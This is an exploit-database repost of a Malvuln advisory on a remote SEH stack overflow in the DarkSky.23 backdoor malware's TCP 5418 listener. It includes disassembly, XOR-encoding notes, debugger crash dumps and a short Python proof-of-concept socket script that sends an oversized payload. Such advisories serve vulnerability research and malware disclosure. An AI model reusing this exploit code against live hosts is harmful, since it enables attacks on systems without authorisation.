Backdoor.Win32.DarkSky.23 / Remote Stack Buffer Overflow (SEH)
CVE
Category
Price
Severity
CVE-XXXX-XXXX
CWE-119
$5000
Critical
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2022-10-17
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Adjacent AV The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022100043 Below is a copy:
Backdoor.Win32.DarkSky.23 / Remote Stack Buffer Overflow (SEH) Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/1164ef21ef2af97e0339359c0dce5e7d.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.DarkSky.23
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware listens on TCP port 5418. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting EDX register and Structured Exception Handler (SEH). In order to see the typical exploit pattern of "\x41" "AAAA" we need to actually send "\x50" as there is an loop that performs an XOR converting our payload. Therefore, if we send "AAAAAAAA" we will get "PPPPPPPP", the malware performs the XOR with the value of 11.
Family: DarkSky
Type: PE32
MD5: 1164ef21ef2af97e0339359c0dce5e7d
Vuln ID: MVID-2022-0648
Dropped files: SysArchive.exe, KNREL32.exe, notepade.exe
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 10/15/2022
Example:
0040134A | 80 34 31 11 | xor byte ptr ds:[ecx+esi],11 | ;XOR converting the payload happens here.
0040134E | 41 | inc ecx |
0040134F | 3B C8 | cmp ecx,eax |
00401351 | 7C F7 | jl sysarchive.40134A |
00401353 | 5E | pop esi |
00401354 | C3 | ret |
Python test...
>>> 0x41 ^ 0x11
80
>>> hex(80)
'0x50'
>>> chr(0x50)
'P'
GET /AAAAA will then become all "P" ...
0019D24C 56 54 45 31 3E 50 50 50 50 50 41 41 41 41 41 41 VTE1>PPPPPAAAAAA
0019D25C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0019D26C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0019D27C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0019D28C 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
So to get our \x41 pattern we need to supply \x50, the malware will XOR it with 0x11 giving us \x41.
>>> 0x50 ^ 0x11
65
>>> hex(65)
'0x41'
>>> chr(65)
'A'
EAX : 7EFEFEFE
EBX : 02902A58
ECX : 0019F4B0
EDX : 41414141
EBP : 0019D230
ESP : 0019D214
ESI : 0019D777
EDI : 0019FF81
EIP : 7451561B msvcrt.7451561B
Finally we see our desired exploit payload converted from \x50 'P' to \x41 or "A"
0019D240 08 DF 8E 02 08 DF 8E 02 01 00 00 00 56 54 45 31 ..........VTE1
0019D250 3E 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 >AAAAAAAAAAAAAAA
0019D260 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0019D270 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0019D280 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 50 AAAAAAAAAAAAAAAP
0019D290 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPPPPPPPPPPPP
0019D2A0 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 50 PPPPPPPPPPPPPPPP
Memory Dump:
(2798.242c): Stack buffer overflow - code c0000409 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=0019f52c edx=41414141 esi=00000000 edi=00000002
eip=7770ed3c esp=0019cb60 ebp=0019cba0 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
ntdll!ZwWaitForMultipleObjects+0xc:
7770ed3c c21400 ret 14h
0:000> .ecxr
eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777 edi=0019fffd
eip=74515619 esp=0019d214 ebp=0019d230 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
msvcrt!strcat+0x89:
74515619 8917 mov dword ptr [edi],edx ds:002b:0019fffd=41000000
*** WARNING: Unable to verify checksum for SysArchive.exe
*** ERROR: Module load completed but symbols could not be loaded for SysArchive.exe
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
msvcrt!strcat+89
74515619 8917 mov dword ptr [edi],edx
EXCEPTION_RECORD: 0019cd64 -- (.exr 0x19cd64)
ExceptionAddress: 74515619 (msvcrt!strcat+0x00000089)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000008
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 001a0000
Attempt to write to address 001a0000
PROCESS_NAME: SysArchive.exe
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.
EXCEPTION_PARAMETER1: 00000015
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 70
APPLICATION_VERIFIER_FLAGS: 0
CHKIMG_EXTENSION: !chkimg -lo 50 -d !msvcrt
74515590 - msvcrt!strcat
[ 8b:cc ]
74515617 - msvcrt!strcat+87 (+0x87)
[ eb:cc ]
2 errors : !msvcrt (74515590-74515617)
CONTEXT: 0019cdb4 -- (.cxr 0x19cdb4)
eax=7efefefe ebx=02552c88 ecx=0019f52c edx=41414141 esi=0019d777 edi=0019fffd
eip=74515619 esp=0019d214 ebp=0019d230 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
msvcrt!strcat+0x89:
74515619 8917 mov dword ptr [edi],edx ds:002b:0019fffd=41000000
Resetting default scope
WRITE_ADDRESS: 001a0000
FOLLOWUP_IP:
msvcrt!strcat+89
74515619 8917 mov dword ptr [edi],edx
FAULTING_THREAD: 0000242c
BUGCHECK_STR: APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 00404ed7 to 74515619
STACK_TEXT:
0019d214 00404ed7 0019e24c 0019d777 0019d238 msvcrt!strcat+0x89
WARNING: Stack unwind information not available. Following frames may be wrong.
0019d230 00402394 00004128 0019e24c 04ed39f8 SysArchive+0x4ed7
0019f9e8 41414141 41414141 41414141 41414141 SysArchive+0x2394
0019f9ec 41414141 41414141 41414141 41414141 0x41414141
0019f9f0 41414141 41414141 41414141 41414141 0x41414141
0019f9f4 41414141 41414141 41414141 41414141 0x41414141
0019f9f8 41414141 41414141 41414141 41414141 0x41414141
0019f9fc 41414141 41414141 41414141 41414141 0x41414141
0019fa00 41414141 41414141 41414141 41414141 0x41414141
0019fa04 41414141 41414141 41414141 41414141 0x41414141
0019fa08 41414141 41414141 41414141 41414141 0x41414141
0019fa0c 41414141 41414141 41414141 41414141 0x41414141
0019fa10 41414141 41414141 41414141 41414141 0x41414141
0019fa14 41414141 41414141 41414141 41414141 0x41414141
0019fa18 41414141 41414141 41414141 41414141 0x41414141
0019fa1c 41414141 41414141 41414141 41414141 0x41414141
0019fa20 41414141 41414141 41414141 41414141 0x41414141
0019fa24 41414141 41414141 41414141 41414141 0x41414141
0019fa28 41414141 41414141 41414141 41414141 0x41414141
0019fa2c 41414141 41414141 41414141 41414141 0x41414141
0019fa30 41414141 41414141 41414141 41414141 0x41414141
...
SYMBOL_NAME: memory_corruption!msvcrt
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: memory_corruption
IMAGE_NAME: memory_corruption
DEBUG_FLR_IMAGE_TIMESTAMP: 0
STACK_COMMAND: dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; .cxr 0x19cdb4 ; kb
FAILURE_BUCKET_ID: MEMORY_CORRUPTION_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_memory_corruption!msvcrt
BUCKET_ID: APPLICATION_FAULT_MEMORY_CORRUPTION_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_LARGE_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_memory_corruption!msvcrt
0:000> !exchain
0019cc18: ntdll!_except_handler4+0 (77716a50)
CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (777557ad)
0019f9dc: 41414141
Invalid exception stack at 41414141
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=5418
def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
JUNK="GET /"+"\x50"*1300+"HTTP/1.1\r\nHost:29"+"\x50"*10000
PAYLOAD=JUNK+"\r\n\r\n"
s.send(PAYLOAD)
s.close()
print("Backdoor DarkSky.23 Exploit By malvuln")
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum